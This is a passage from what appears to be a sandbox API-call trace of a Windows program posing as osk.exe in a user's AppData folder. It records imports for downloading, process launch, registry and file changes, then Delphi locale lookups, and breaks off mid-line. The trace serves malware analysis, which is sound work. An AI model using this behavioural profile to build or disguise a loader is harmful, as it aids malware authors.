lpProcName="MessageBoxA") returned 0x74bdd740 [0249.821] GetProcAddress (hModule=0x74b70000, lpProcName="CharNextA") returned 0x74b8bf60 [0249.821] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75e90000 [0249.821] GetProcAddress (hModule=0x75e90000, lpProcName="GetACP") returned 0x75ea4ca0 [0249.821] GetProcAddress (hModule=0x75e90000, lpProcName="Sleep") returned 0x75ea6760 [0249.821] GetProcAddress (hModule=0x75e90000, lpProcName="VirtualFree") returned 0x75ea69d0 [0249.822] GetProcAddress (hModule=0x75e90000, lpProcName="VirtualAlloc") returned 0x75ea6970 [0249.822] GetProcAddress (hModule=0x75e90000, lpProcName="GetTickCount") returned 0x75efdd50 [0249.822] GetProcAddress (hModule=0x75e90000, lpProcName="QueryPerformanceCounter") returned 0x75ea5da0 [0249.822] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentThreadId") returned 0x75ea8820 [0249.822] GetProcAddress (hModule=0x75e90000, lpProcName="VirtualQuery") returned 0x75ea6a70 [0249.822] GetProcAddress (hModule=0x75e90000, lpProcName="WideCharToMultiByte") returned 0x75ea6b10 [0249.823] GetProcAddress (hModule=0x75e90000, lpProcName="MultiByteToWideChar") returned 0x75ea5c40 [0249.823] GetProcAddress (hModule=0x75e90000, lpProcName="lstrlenA") returned 0x75ea6c50 [0249.823] GetProcAddress (hModule=0x75e90000, lpProcName="lstrcpynA") returned 0x75ea6c10 [0249.823] GetProcAddress (hModule=0x75e90000, lpProcName="LoadLibraryExA") returned 0x75ea5aa0 [0249.823] GetProcAddress (hModule=0x75e90000, lpProcName="GetThreadLocale") returned 0x75ea5600 [0249.823] GetProcAddress (hModule=0x75e90000, lpProcName="GetStartupInfoA") returned 0x75ee28e0 [0249.824] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcAddress") returned 0x75ea51b0 [0249.824] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleHandleA") returned 0x75ea50b0 [0249.824] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleFileNameA") returned 0x75ea5070 [0249.824] GetProcAddress (hModule=0x75e90000, lpProcName="GetLocaleInfoA") returned 0x75ea5020 [0249.824] GetProcAddress (hModule=0x75e90000, lpProcName="GetCommandLineA") returned 0x75ea4cb0 [0249.839] GetProcAddress (hModule=0x75e90000, lpProcName="FreeLibrary") returned 0x75ea4c40 [0249.889] GetProcAddress (hModule=0x75e90000, lpProcName="FindFirstFileA") returned 0x75efedb0 [0249.889] GetProcAddress (hModule=0x75e90000, lpProcName="FindClose") returned 0x75efed70 [0249.890] GetProcAddress (hModule=0x75e90000, lpProcName="ExitProcess") returned 0x75ea3cb0 [0249.890] GetProcAddress (hModule=0x75e90000, lpProcName="CreateThread") returned 0x75ea46b0 [0249.890] GetProcAddress (hModule=0x75e90000, lpProcName="WriteFile") returned 0x75eff180 [0249.890] GetProcAddress (hModule=0x75e90000, lpProcName="UnhandledExceptionFilter") returned 0x75ea68d0 [0249.890] GetProcAddress (hModule=0x75e90000, lpProcName="RtlUnwind") returned 0x75ea7c10 [0249.890] GetProcAddress (hModule=0x75e90000, lpProcName="RaiseException") returned 0x75ea5e20 [0249.890] GetProcAddress (hModule=0x75e90000, lpProcName="GetStdHandle") returned 0x75ea5330 [0249.891] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75e90000 [0249.891] GetProcAddress (hModule=0x75e90000, lpProcName="TlsSetValue") returned 0x75ea6870 [0249.891] GetProcAddress (hModule=0x75e90000, lpProcName="TlsGetValue") returned 0x75ea6850 [0249.891] GetProcAddress (hModule=0x75e90000, lpProcName="LocalAlloc") returned 0x75ea5b20 [0249.891] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleHandleA") returned 0x75ea50b0 [0249.891] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74b70000 [0249.892] GetProcAddress (hModule=0x74b70000, lpProcName="TranslateMessage") returned 0x74b9f900 [0249.892] GetProcAddress (hModule=0x74b70000, lpProcName="SystemParametersInfoW") returned 0x74b9f210 [0249.892] GetProcAddress (hModule=0x74b70000, lpProcName="PeekMessageA") returned 0x74b887a0 [0249.892] GetProcAddress (hModule=0x74b70000, lpProcName="MessageBoxA") returned 0x74bdd740 [0249.892] GetProcAddress (hModule=0x74b70000, lpProcName="LoadStringA") returned 0x74b8d7b0 [0249.892] GetProcAddress (hModule=0x74b70000, lpProcName="GetSystemMetrics") returned 0x74b9ddc0 [0249.893] GetProcAddress (hModule=0x74b70000, lpProcName="GetLastInputInfo") returned 0x74b8bd10 [0249.893] GetProcAddress (hModule=0x74b70000, lpProcName="DispatchMessageA") returned 0x74b8fd80 [0249.893] GetProcAddress (hModule=0x74b70000, lpProcName="CharNextW") returned 0x74ba1130 [0249.893] GetProcAddress (hModule=0x74b70000, lpProcName="CharLowerBuffW") returned 0x74b934a0 [0249.893] GetProcAddress (hModule=0x74b70000, lpProcName="CharNextA") returned 0x74b8bf60 [0249.893] GetProcAddress (hModule=0x74b70000, lpProcName="CharLowerBuffA") returned 0x74be75b0 [0249.894] GetProcAddress (hModule=0x74b70000, lpProcName="CharUpperBuffA") returned 0x74be7650 [0249.894] GetProcAddress (hModule=0x74b70000, lpProcName="CharToOemA") returned 0x74bdf020 [0249.894] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75e90000 [0249.894] GetProcAddress (hModule=0x75e90000, lpProcName="WriteFile") returned 0x75eff180 [0249.894] GetProcAddress (hModule=0x75e90000, lpProcName="WinExec") returned 0x75ee2b00 [0249.894] GetProcAddress (hModule=0x75e90000, lpProcName="WaitForSingleObject") returned 0x75efeca0 [0249.895] GetProcAddress (hModule=0x75e90000, lpProcName="VirtualQuery") returned 0x75ea6a70 [0249.895] GetProcAddress (hModule=0x75e90000, lpProcName="TerminateProcess") returned 0x75ea67e0 [0249.895] GetProcAddress (hModule=0x75e90000, lpProcName="SizeofResource") returned 0x75ea6740 [0249.895] GetProcAddress (hModule=0x75e90000, lpProcName="SetFileTime") returned 0x75eff140 [0249.895] GetProcAddress (hModule=0x75e90000, lpProcName="SetFilePointer") returned 0x75eff120 [0249.895] GetProcAddress (hModule=0x75e90000, lpProcName="SetFileAttributesW") returned 0x75eff100 [0249.896] GetProcAddress (hModule=0x75e90000, lpProcName="SetEndOfFile") returned 0x75eff0e0 [0249.896] GetProcAddress (hModule=0x75e90000, lpProcName="ReadFile") returned 0x75eff090 [0249.896] GetProcAddress (hModule=0x75e90000, lpProcName="OpenProcess") returned 0x75ea5cc0 [0249.896] GetProcAddress (hModule=0x75e90000, lpProcName="OpenMutexA") returned 0x75ede030 [0249.897] GetProcAddress (hModule=0x75e90000, lpProcName="MoveFileW") returned 0x75ede500 [0249.897] GetProcAddress (hModule=0x75e90000, lpProcName="LockResource") returned 0x75ea5bc0 [0249.897] GetProcAddress (hModule=0x75e90000, lpProcName="LoadResource") returned 0x75ea5b00 [0249.897] GetProcAddress (hModule=0x75e90000, lpProcName="LoadLibraryA") returned 0x75ea5a80 [0249.897] GetProcAddress (hModule=0x75e90000, lpProcName="LeaveCriticalSection") returned 0x77bfb250 [0249.898] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeCriticalSection") returned 0x77c0af20 [0249.898] GetProcAddress (hModule=0x75e90000, lpProcName="GlobalUnlock") returned 0x75ee44e0 [0249.898] GetProcAddress (hModule=0x75e90000, lpProcName="GlobalReAlloc") returned 0x75ee3f90 [0249.898] GetProcAddress (hModule=0x75e90000, lpProcName="GlobalHandle") returned 0x75ee4420 [0249.898] GetProcAddress (hModule=0x75e90000, lpProcName="GlobalLock") returned 0x75ee42f0 [0249.898] GetProcAddress (hModule=0x75e90000, lpProcName="GlobalFree") returned 0x75ea1ee0 [0249.899] GetProcAddress (hModule=0x75e90000, lpProcName="GlobalAlloc") returned 0x75ea5750 [0249.899] GetProcAddress (hModule=0x75e90000, lpProcName="GetVersionExA") returned 0x75ea56d0 [0249.900] GetProcAddress (hModule=0x75e90000, lpProcName="GetTickCount") returned 0x75efdd50 [0249.901] GetProcAddress (hModule=0x75e90000, lpProcName="GetThreadLocale") returned 0x75ea5600 [0249.901] GetProcAddress (hModule=0x75e90000, lpProcName="GetStdHandle") returned 0x75ea5330 [0249.901] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcAddress") returned 0x75ea51b0 [0249.901] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleHandleA") returned 0x75ea50b0 [0249.901] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleFileNameW") returned 0x75ea5090 [0249.901] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleFileNameA") returned 0x75ea5070 [0249.902] GetProcAddress (hModule=0x75e90000, lpProcName="GetLocaleInfoA") returned 0x75ea5020 [0249.902] GetProcAddress (hModule=0x75e90000, lpProcName="GetLocalTime") returned 0x75ea5060 [0249.902] GetProcAddress (hModule=0x75e90000, lpProcName="GetLastError") returned 0x75ea5010 [0249.902] GetProcAddress (hModule=0x75e90000, lpProcName="GetFileAttributesA") returned 0x75efeee0 [0249.903] GetProcAddress (hModule=0x75e90000, lpProcName="GetEnvironmentVariableA") returned 0x75ea4f90 [0249.903] GetProcAddress (hModule=0x75e90000, lpProcName="GetDiskFreeSpaceA") returned 0x75efee80 [0249.903] GetProcAddress (hModule=0x75e90000, lpProcName="GetDateFormatA") returned 0x75ea76e0 [0249.904] GetProcAddress (hModule=0x75e90000, lpProcName="GetCommandLineW") returned 0x75ea4cc0 [0249.904] GetProcAddress (hModule=0x75e90000, lpProcName="GetCPInfo") returned 0x75ea4d10 [0249.904] GetProcAddress (hModule=0x75e90000, lpProcName="FreeResource") returned 0x75ea4c80 [0249.904] GetProcAddress (hModule=0x75e90000, lpProcName="FreeLibrary") returned 0x75ea4c40 [0249.904] GetProcAddress (hModule=0x75e90000, lpProcName="FormatMessageA") returned 0x75ea4bc0 [0249.904] GetProcAddress (hModule=0x75e90000, lpProcName="FindResourceA") returned 0x75ee27c0 [0249.905] GetProcAddress (hModule=0x75e90000, lpProcName="FindNextFileW") returned 0x75efee40 [0249.905] GetProcAddress (hModule=0x75e90000, lpProcName="FindFirstFileW") returned 0x75efedf0 [0249.906] GetProcAddress (hModule=0x75e90000, lpProcName="FindClose") returned 0x75efed70 [0249.907] GetProcAddress (hModule=0x75e90000, lpProcName="FileTimeToLocalFileTime") returned 0x75efed60 [0249.907] GetProcAddress (hModule=0x75e90000, lpProcName="FileTimeToDosDateTime") returned 0x75ee1eb0 [0249.907] GetProcAddress (hModule=0x75e90000, lpProcName="ExitProcess") returned 0x75ea3cb0 [0249.907] GetProcAddress (hModule=0x75e90000, lpProcName="EnumCalendarInfoA") returned 0x75ebc0d0 [0249.907] GetProcAddress (hModule=0x75e90000, lpProcName="EnterCriticalSection") returned 0x77bfb2d0 [0249.907] GetProcAddress (hModule=0x75e90000, lpProcName="DeleteFileW") returned 0x75efed40 [0249.908] GetProcAddress (hModule=0x75e90000, lpProcName="DeleteCriticalSection") returned 0x77bdfb90 [0249.908] GetProcAddress (hModule=0x75e90000, lpProcName="CreateProcessW") returned 0x75ea4610 [0249.908] GetProcAddress (hModule=0x75e90000, lpProcName="CreateProcessA") returned 0x75ea45b0 [0249.908] GetProcAddress (hModule=0x75e90000, lpProcName="CreatePipe") returned 0x75ea4590 [0249.908] GetProcAddress (hModule=0x75e90000, lpProcName="CreateMutexA") returned 0x75efeb40 [0249.977] GetProcAddress (hModule=0x75e90000, lpProcName="CreateFileW") returned 0x75efed10 [0249.978] GetProcAddress (hModule=0x75e90000, lpProcName="CompareStringA") returned 0x75ea4410 [0249.978] GetProcAddress (hModule=0x75e90000, lpProcName="CloseHandle") returned 0x75efeab0 [0249.978] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x761b0000 [0249.979] GetProcAddress (hModule=0x761b0000, lpProcName="RegSetValueExA") returned 0x761cffc0 [0249.979] GetProcAddress (hModule=0x761b0000, lpProcName="RegQueryValueExA") returned 0x761cf020 [0249.979] GetProcAddress (hModule=0x761b0000, lpProcName="RegOpenKeyExA") returned 0x761cf210 [0249.979] GetProcAddress (hModule=0x761b0000, lpProcName="RegEnumValueA") returned 0x761d1940 [0249.979] GetProcAddress (hModule=0x761b0000, lpProcName="RegEnumKeyExA") returned 0x761d1960 [0249.979] GetProcAddress (hModule=0x761b0000, lpProcName="RegDeleteValueA") returned 0x761d07a0 [0249.979] GetProcAddress (hModule=0x761b0000, lpProcName="RegDeleteKeyA") returned 0x761cf8c0 [0249.980] GetProcAddress (hModule=0x761b0000, lpProcName="RegCreateKeyExA") returned 0x761cf560 [0249.980] GetProcAddress (hModule=0x761b0000, lpProcName="RegCloseKey") returned 0x761ced60 [0249.980] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75e90000 [0249.980] GetProcAddress (hModule=0x75e90000, lpProcName="Sleep") returned 0x75ea6760 [0249.980] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x70c00000 [0249.991] GetProcAddress (hModule=0x70c00000, lpProcName="InternetReadFile") returned 0x70d33a70 [0249.991] GetProcAddress (hModule=0x70c00000, lpProcName="InternetOpenUrlA") returned 0x70dfe8c0 [0249.991] GetProcAddress (hModule=0x70c00000, lpProcName="InternetOpenA") returned 0x70d1f1a0 [0249.991] GetProcAddress (hModule=0x70c00000, lpProcName="InternetCloseHandle") returned 0x70d0d000 [0249.991] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x76480000 [0249.992] GetProcAddress (hModule=0x76480000, lpProcName="ShellExecuteW") returned 0x765e42e0 [0249.992] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x76480000 [0249.992] GetProcAddress (hModule=0x76480000, lpProcName="SHGetSpecialFolderLocation") returned 0x765e3790 [0249.992] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x76480000 [0249.992] GetProcAddress (hModule=0x76480000, lpProcName="SHGetPathFromIDListW") returned 0x7658bda0 [0249.992] GetProcAddress (hModule=0x76480000, lpProcName="SHGetMalloc") returned 0x765edf80 [0249.993] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x75bb0000 [0249.993] GetProcAddress (hModule=0x75bb0000, lpProcName="SafeArrayPtrOfIndex") returned 0x75bd6670 [0249.993] GetProcAddress (hModule=0x75bb0000, lpProcName="SafeArrayGetUBound") returned 0x75bd5460 [0249.993] GetProcAddress (hModule=0x75bb0000, lpProcName="SafeArrayGetLBound") returned 0x75bd5ea0 [0249.993] GetProcAddress (hModule=0x75bb0000, lpProcName="SafeArrayCreate") returned 0x75bd0340 [0249.993] GetProcAddress (hModule=0x75bb0000, lpProcName="VariantChangeType") returned 0x75bca5e0 [0249.994] GetProcAddress (hModule=0x75bb0000, lpProcName="VariantCopy") returned 0x75be9dc0 [0250.008] GetProcAddress (hModule=0x75bb0000, lpProcName="VariantClear") returned 0x75be9db0 [0250.008] GetProcAddress (hModule=0x75bb0000, lpProcName="VariantInit") returned 0x75be9de0 [0250.008] VirtualProtect (in: lpAddress=0x400000, dwSize=0x400, flNewProtect=0x2, lpflOldProtect=0x19f2d8 | out: lpflOldProtect=0x19f2d8*=0x40) returned 1 [0250.008] VirtualProtect (in: lpAddress=0x401000, dwSize=0x2c1a0, flNewProtect=0x20, lpflOldProtect=0x19f2d8 | out: lpflOldProtect=0x19f2d8*=0x40) returned 1 [0250.009] VirtualProtect (in: lpAddress=0x42e000, dwSize=0x2b4, flNewProtect=0x20, lpflOldProtect=0x19f2d8 | out: lpflOldProtect=0x19f2d8*=0x40) returned 1 [0250.009] VirtualProtect (in: lpAddress=0x42f000, dwSize=0x2cc4, flNewProtect=0x4, lpflOldProtect=0x19f2d8 | out: lpflOldProtect=0x19f2d8*=0x40) returned 1 [0250.009] VirtualProtect (in: lpAddress=0x432000, dwSize=0x62d4, flNewProtect=0x4, lpflOldProtect=0x19f2d8 | out: lpflOldProtect=0x19f2d8*=0x40) returned 1 [0250.010] VirtualProtect (in: lpAddress=0x439000, dwSize=0x10ec, flNewProtect=0x4, lpflOldProtect=0x19f2d8 | out: lpflOldProtect=0x19f2d8*=0x40) returned 1 [0250.010] VirtualProtect (in: lpAddress=0x43b000, dwSize=0x8, flNewProtect=0x4, lpflOldProtect=0x19f2d8 | out: lpflOldProtect=0x19f2d8*=0x40) returned 1 [0250.010] VirtualProtect (in: lpAddress=0x43c000, dwSize=0x18, flNewProtect=0x2, lpflOldProtect=0x19f2d8 | out: lpflOldProtect=0x19f2d8*=0x40) returned 1 [0250.019] VirtualProtect (in: lpAddress=0x43d000, dwSize=0x0, flNewProtect=0x2, lpflOldProtect=0x19f2d8 | out: lpflOldProtect=0x19f2d8*=0x40) returned 0 [0250.019] GetModuleHandleA (lpModuleName="ntdll") returned 0x77bb0000 [0250.019] GetModuleHandleA (lpModuleName="ntdll") returned 0x77bb0000 [0250.020] GetModuleHandleA (lpModuleName="ntdll") returned 0x77bb0000 [0250.049] GetKeyboardType (nTypeFlag=0) returned 4 [0250.058] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe\" " [0250.058] GetStartupInfoA (in: lpStartupInfo=0x19f29c | out: lpStartupInfo=0x19f29c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0250.058] GetACP () returned 0x4e4 [0250.058] GetCurrentThreadId () returned 0xdf4 [0250.058] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x19e18c, nSize=0x105 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe")) returned 0x27 [0250.058] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x19e067, nSize=0x105 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe")) returned 0x27 [0250.058] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19e17c | out: phkResult=0x19e17c*=0x0) returned 0x2 [0250.059] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19e17c | out: phkResult=0x19e17c*=0x0) returned 0x2 [0250.060] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Delphi\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19e17c | out: phkResult=0x19e17c*=0x0) returned 0x2 [0250.061] lstrcpynA (in: lpString1=0x19e067, lpString2="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", iMaxLength=261 | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" [0250.061] GetThreadLocale () returned 0x409 [0250.061] GetLocaleInfoA (in: Locale=0x409, LCType=0x3, lpLCData=0x19e177, cchData=5 | out: lpLCData="ENU") returned 4 [0250.061] lstrlenA (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 39 [0250.061] lstrcpynA (in: lpString1=0x19e08b, lpString2="ENU", iMaxLength=225 | out: lpString1="ENU") returned="ENU" [0250.061] LoadLibraryExA (lpLibFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.ENU", hFile=0x0, dwFlags=0x2) returned 0x0 [0250.061] lstrcpynA (in: lpString1=0x19e08b, lpString2="EN", iMaxLength=225 | out: lpString1="EN") returned="EN" [0250.061] LoadLibraryExA (lpLibFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.EN", hFile=0x0, dwFlags=0x2) returned 0x0 [0250.061] LoadStringA (in: hInstance=0x400000, uID=0xffc1, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0250.061] LoadStringA (in: hInstance=0x400000, uID=0xffc0, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0250.061] LoadStringA (in: hInstance=0x400000, uID=0xffde, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0250.061] LoadStringA (in: hInstance=0x400000, uID=0xffdf, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0250.061] LoadStringA (in: hInstance=0x400000, uID=0xffd2, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0250.061] LoadStringA (in: hInstance=0x400000, uID=0xffda, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0250.061] LoadStringA (in: hInstance=0x400000, uID=0xffd1, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0250.061] LoadStringA (in: hInstance=0x400000, uID=0xffee, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0250.061] LoadStringA (in: hInstance=0x400000, uID=0xffd5, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0250.061] LoadStringA (in: hInstance=0x400000, uID=0xffd4, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0250.062] LoadStringA (in: hInstance=0x400000, uID=0xffe7, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0250.062] LoadStringA (in: hInstance=0x400000, uID=0xffe8, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0250.062] LoadStringA (in: hInstance=0x400000, uID=0xffe9, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0250.062] LoadStringA (in: hInstance=0x400000, uID=0xffe6, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0250.062] LoadStringA (in: hInstance=0x400000, uID=0xffe4, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0250.062] LoadStringA (in: hInstance=0x400000, uID=0xffe2, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0250.062] LoadStringA (in: hInstance=0x400000, uID=0xffe1, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0250.062] LoadStringA (in: hInstance=0x400000, uID=0xffe0, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0250.062] LoadStringA (in: hInstance=0x400000, uID=0xffff, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0250.062] LoadStringA (in: hInstance=0x400000, uID=0xfffe, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0250.062] LoadStringA (in: hInstance=0x400000, uID=0xfffd, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0250.062] LoadStringA (in: hInstance=0x400000, uID=0xfffc, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0250.062] LoadStringA (in: hInstance=0x400000, uID=0xfffb, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0250.062] LoadStringA (in: hInstance=0x400000, uID=0xfffa, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0250.062] LoadStringA (in: hInstance=0x400000, uID=0xfff9, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0250.062] LoadStringA (in: hInstance=0x400000, uID=0xfff8, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0250.062] LoadStringA (in: hInstance=0x400000, uID=0xfff7, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0250.062] LoadStringA (in: hInstance=0x400000, uID=0xfff6, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0250.062] LoadStringA (in: hInstance=0x400000, uID=0xfff5, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0250.071] VirtualAlloc (lpAddress=0x0, dwSize=0x13fff0, flAllocationType=0x1000, flProtect=0x4) returned 0x3e00000 [0250.073] LoadStringA (in: hInstance=0x400000, uID=0xfff3, lpBuffer=0x19e2a8, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0250.073] LoadStringA (in: hInstance=0x400000, uID=0xffe3, lpBuffer=0x19e2a8, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0250.073] GetVersionExA (in: lpVersionInformation=0x19f240*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xffffffff, dwMinorVersion=0x19f264, dwBuildNumber=0x0, dwPlatformId=0x19f260, szCSDVersion="") | out: lpVersionInformation=0x19f240*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0250.073] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0250.073] GetProcAddress (hModule=0x75e90000, lpProcName="GetDiskFreeSpaceExA") returned 0x75efee90 [0250.073] GetThreadLocale () returned 0x409 [0250.073] GetSystemMetrics (nIndex=42) returned 0 [0250.073] GetThreadLocale () returned 0x409 [0250.073] GetLocaleInfoA (in: Locale=0x409, LCType=0x44, lpLCData=0x19f118, cchData=256 | out: lpLCData="Jan") returned 4 [0250.073] GetLocaleInfoA (in: Locale=0x409, LCType=0x38, lpLCData=0x19f118, cchData=256 | out: lpLCData="January") returned 8 [0250.073] GetLocaleInfoA (in: Locale=0x409, LCType=0x45, lpLCData=0x19f118, cchData=256 | out: lpLCData="Feb") returned 4 [0250.073] GetLocaleInfoA (in: Locale=0x409, LCType=0x39, lpLCData=0x19f118, cchData=256 | out: lpLCData="February") returned 9 [0250.073] GetLocaleInfoA (in: Locale=0x409, LCType=0x46, lpLCData=0x19f118, cchData=256 | out: lpLCData="Mar") returned 4 [0250.073] GetLocaleInfoA (in: Locale=0x409, LCType=0x3a, lpLCData=0x19f118, cchData=256 | out: lpLCData="March") returned 6 [0250.073] GetLocaleInfoA (in: Locale=0x409, LCType=0x47, lpLCData=0x19f118, cchData=256 | out: lpLCData="Apr") returned 4 [0250.073] GetLocaleInfoA (in: Locale=0x409, LCType=0x3b, lpLCData=0x19f118, cchData=256 | out: lpLCData="April") returned 6 [0250.073] GetLocaleInfoA (in: Locale=0x409, LCType=0x48, lpLCData=0x19f118, cchData=256 | out: lpLCData="May") returned 4 [0250.073] GetLocaleInfoA (in: Locale=0x409, LCType=0x3c, lpLCData=0x19f118, cchData=256 | out: lpLCData="May") returned 4 [0250.073] GetLocaleInfoA (in: Locale=0x409, LCType=0x49, lpLCData=0x19f118, cchData=256 | out: lpLCData="Jun") returned 4 [0250.073] GetLocaleInfoA (in: Locale=0x409, LCType=0x3d, lpLCData=0x19f118, cchData=256 | out: lpLCData="June") returned 5 [0250.074] GetLocaleInfoA (in: Locale=0x409, LCType=0x4a, lpLCData=0x19f118, cchData=256 | out: lpLCData="Jul") returned 4 [0250.074] GetLocaleInfoA (in: Locale=0x409, LCType=0x3e, lpLCData=0x19f118, cchData=256 | out: lpLCData="July") returned 5 [0250.074] GetLocaleInfoA (in: Locale=0x409, LCType=0x4b, lpLCData=0x19f118, cchData=256 | out: lpLCData="Aug") returned 4 [0250.074] GetLocaleInfoA (in: Locale=0x409, LCType=0x3f, lpLCData=0x19f118, cchData=256 | out: lpLCData="August") returned 7 [0250.074] GetLocaleInfoA (in: Locale=0x409, LCType=0x4c, lpLCData=0x19f118, cchData=256 | out: lpLCData="Sep") returned 4 [0250.074] GetLocaleInfoA (in: Locale=0x409, LCType=0x40, lpLCData=0x19f118, cchData=256 | out: lpLCData="September") returned 10 [0250.074] GetLocaleInfoA (in: Locale=0x409, LCType=0x4d, lpLCData=0x19f118, cchData=256 | out: lpLCData="Oct") returned 4 [0250.074] GetLocaleInfoA (in: Locale=0x409, LCType=0x41, lpLCData=0x19f118, cchData=256 | out: lpLCData="October") returned 8 [0250.074] GetLocaleInfoA (in: Locale=0x409, LCType=0x4e, lpLCData=0x19f118, cchData=256 | out: lpLCData="Nov") returned 4 [0250.074] GetLocaleInfoA (in: Locale=0x409, LCType=0x42, lpLCData=0x19f118, cchData=256 | out: lpLCData="November") returned 9 [0250.074] GetLocaleInfoA (in: Locale=0x409, LCType=0x4f, lpLCData=0x19f118, cchData=256 | out: lpLCData="Dec") returned 4 [0250.074] GetLocaleInfoA (in: Locale=0x409, LCType=0x43, lpLCData=0x19f118, cchData=256 | out: lpLCData="December") returned 9 [0250.074] GetLocaleInfoA (in: Locale=0x409, LCType=0x37, lpLCData=0x19f118, cchData=256 | out: lpLCData="Sun") returned 4 [0250.074] GetLocaleInfoA (in: Locale=0x409, LCType=0x30, lpLCData=0x19f118, cchData=256 | out: lpLCData="Sunday") returned 7 [0250.074] GetLocaleInfoA (in: Locale=0x409, LCType=0x31, lpLCData=0x19f118, cchData=256 | out: lpLCData="Mon") returned 4 [0250.074] GetLocaleInfoA (in: Locale=0x409, LCType=0x2a, lpLCData=0x19f118, cchData=256 | out: lpLCData="Monday") returned 7 [0250.074] GetLocaleInfoA (in: Locale=0x409, LCType=0x32, lpLCData=0x19f118, 